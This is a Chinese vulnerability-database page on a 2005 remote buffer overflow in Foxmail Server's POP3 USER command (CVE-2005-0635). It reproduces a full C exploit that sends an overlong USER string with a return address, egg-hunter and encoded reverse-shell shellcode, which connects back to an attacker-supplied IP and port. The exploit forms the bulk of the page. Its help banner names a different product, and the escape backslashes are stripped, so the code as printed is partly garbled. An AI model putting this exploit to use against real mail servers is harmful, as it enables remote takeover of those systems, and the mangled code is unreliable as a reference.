Foxmail Server “USER”命令处理多个远程缓冲区溢出漏洞-安全小百科

Foxmail Server “USER”命令处理多个远程缓冲区溢出漏洞

漏洞ID	1108498	漏洞类型	缓冲区溢出
发布时间	2005-03-02	更新时间	2005-10-20
CVE编号	CVE-2005-0635	CNNVD-ID	CNNVD-200505-589
漏洞平台	Windows	CVSS评分	10.0

|漏洞来源

https://www.exploit-db.com/exploits/854
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200505-589

|漏洞详情

FoxmailServer是Windows和linux下都可以使用的邮件服务程序。FoxmailServer对特定命令的参数处理存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞在服务器上执行任意指令。

|漏洞EXP

#include <winsock.h>
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#pragma comment (lib,"ws2_32")
#define PORT_OFFSET  118
#define IP_OFFSET    111

char Shellcode[] =      "xEBx10x5Bx4Bx33xC9x66xB9x25x01x80x34x0Bx99xE2xFA"
                                       "xEBx05xE8xEBxFFxFFxFF"
                                       "x70x62x99x99x99xC6xFDx38xA9x99x99x99x12xD9x95x12"
                                       "xE9x85x34x12xF1x91x12x6ExF3x9DxC0x71x02x99x99x99"
                                       "x7Bx60xF1xAAxABx99x99xF1xEExEAxABxC6xCDx66x8Fx12"
                                       "x71xF3x9DxC0x71x1Bx99x99x99x7Bx60x18x75x09x98x99"
                                       "x99xCDxF1x98x98x99x99x66xCFx89xC9xC9xC9xC9xD9xC9"
                                       "xD9xC9x66xCFx8Dx12x41xF1xE6x99x99x98xF1x9Bx99x99"
                                       "xACx12x55xF3x89xC8xCAx66xCFx81x1Cx59xECxD3xF1xFA"
                                       "xF4xFDx99x10xFFxA9x1Ax75xCDx14xA5xBDxF3x8CxC0x32"
                                       "x7Bx64x5FxDDxBDx89xDDx67xDDxBDxA4x10xC5xBDxD1x10"
                                       "xC5xBDxD5x10xC5xBDxC9x14xDDxBDx89xCDxC9xC8xC8xC8"
                                       "xF3x98xC8xC8x66xEFxA9xC8x66xCFx9Dx12x55xF3x66x66"
                                       "xA8x66xCFx91xCAx66xCFx85x66xCFx95xC8xCFx12xDCxA5"
                                       "x12xCDxB1xE1x9Ax4CxCBx12xEBxB9x9Ax6CxAAx50xD0xD8"
                                       "x34x9Ax5CxAAx42x96x27x89xA3x4FxEDx91x58x52x94x9A"
                                       "x43xD9x72x68xA2x86xECx7ExC3x12xC3xBDx9Ax44xFFx12"
                                       "x95xD2x12xC3x85x9Ax44x12x9Dx12x9Ax5Cx32xC7xC0x5A"
                                       "x71x99x66x66x66x17xD7x97x75xEBx67x2Ax8Fx34x40x9C"
                                       "x57xE7x41x7BxEAx52x74x65xA2x40x90x6Cx34x75x60x33"
                                       "xF9x7ExE0x5FxE0";

char szUser[]   =       "user 1231231231231234567890abcdefghijklmnopqrstuvwxyz1234567890a"
                                       "bcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz123"
                                       "4567890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijkklmnopqrst"
                                       "uvwxyz1234567890abcdefghijkklmnopqrstuvwxyz1234567890abcdAAAAijk"
                                       "lmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abc"
                                       "defghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz12345"
                                       "67890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvw"
                                       "xyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmno"
                                       "pqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abcdefg"
                                       "hijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz123456789"
                                       "0abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz1"
                                       "234567890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrs"
                                       "tuvwxyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijk"
                                       "lmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abc"
                                       "defghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz12345"
                                       "67890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvw"
                                       "xyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmno"
                                       "pqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abcdefg"
                                       "hijklmnopqrstuvwxyzrn";
unsigned char szPass[] = "pass siglosrn";

void help(char *program)
{
       printf ("========================================================rn");
       printf ("Aerofox Mail Server 1.1.0.1 POP3 Temp Dir Stack Overflowrn");
       printf ("========================================================rnrn");
       printf ("Usage: %s <Host> <Your IP> <Your port>rn", program);
       printf ("e.g.:rn");
       printf ("     %s 127.0.0.1 202.119.9.42 8111rn", program);
       printf ("rn  The ret address is 0x7ffa1571.rn");
       exit(0);
}

SOCKET Connect(char *u_host ,unsigned short u_port)
{
       WSADATA wsaData;
       SOCKET sock;
       struct hostent *r;
       struct sockaddr_in r_addr;
       int timeout = 1000;

       if(WSAStartup(0x0101,&wsaData) != 0)
       {
               printf("error starting winsock..");
               return -1;
       }
       if((r=gethostbyname(u_host))== NULL)
       {
               return -1 ;
       }
       if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))== INVALID_SOCKET)
       {
               return -1 ;
       }
       r_addr.sin_family=AF_INET;
       r_addr.sin_port=htons(u_port);
       r_addr.sin_addr=*((struct in_addr*)r->h_addr);

       if(connect(sock,(struct sockaddr *)&r_addr,sizeof(r_addr))==SOCKET_ERROR)
       {
               printf("Can't connectn");
               exit(-1);
       }
       setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char*)&timeout,sizeof(timeout));
       return(sock);
}

void Disconnect(SOCKET s)
{
       closesocket(s);
       WSACleanup();
}

void tr(SOCKET s)
{
       char buff[1500];
       memset(buff, 0, sizeof(buff));
       recv(s, buff, sizeof(buff), 0);
       printf("%srn",buff);
}

void SlowSend(SOCKET s, char *buf, int p)
{
       //send(s, buf, sizeof(buf),0);
       //send(s, "rn", 2,0);
       for(unsigned int i = 0; i < strlen(buf); i++)
       {
               Sleep(p);
               printf("%c", buf[i]);
               send(s, (char*)&(buf[i]), 1, 0);
       }
}

void main(int argc, char *argv[])
{
       /*_asm{
               mov             eax,90909091h
               dec             eax
       a:      dec             ebx
               cmp             [ebx], eax
               jnz             a
               push    ebx
               ret
       }*/
       if(argc != 4)
               help(argv[0]);

       unsigned short    port;
   unsigned long     ip;

   port = htons(atoi(argv[3]))^(USHORT)0x9999;
   ip = inet_addr(argv[2])^(ULONG)0x99999999;
   memcpy(&Shellcode[PORT_OFFSET], &port, 2);
   memcpy(&Shellcode[IP_OFFSET], &ip, 4);

       SOCKET s = Connect(argv[1], 110);
       tr(s);
       memcpy(szUser + 244, "xCCx90xEBx04x71x15xFAx7F", 8);
       memcpy(szUser + 244 + 8,  "xB8x91x90x90x90x48x4Bx39x03x75xFBx53xC3x90x90x90x90", 17);
       memcpy(szUser + 244 + 8 + 17, Shellcode, sizeof(Shellcode) - 1);

       SlowSend(s, (char*)szUser, 1);
       getch();
       tr(s);
       SlowSend(s, (char*)szPass, 100);
       tr(s);
       Disconnect(s);
       return;
}

// milw0rm.com [2005-03-02]

|参考资料

来源:BID
名称:12711
链接:http://www.securityfocus.com/bid/12711
来源:BUGTRAQ
名称:20050302Foxmailserver”USER”commandMultipleremotebufferoverflow
链接:http://www.securityfocus.com/archive/1/391960
来源:SECTRACK
名称:1013356
链接:http://securitytracker.com/id?1013356
来源:SECUNIA
名称:14145
链接:http://secunia.com/advisories/14145

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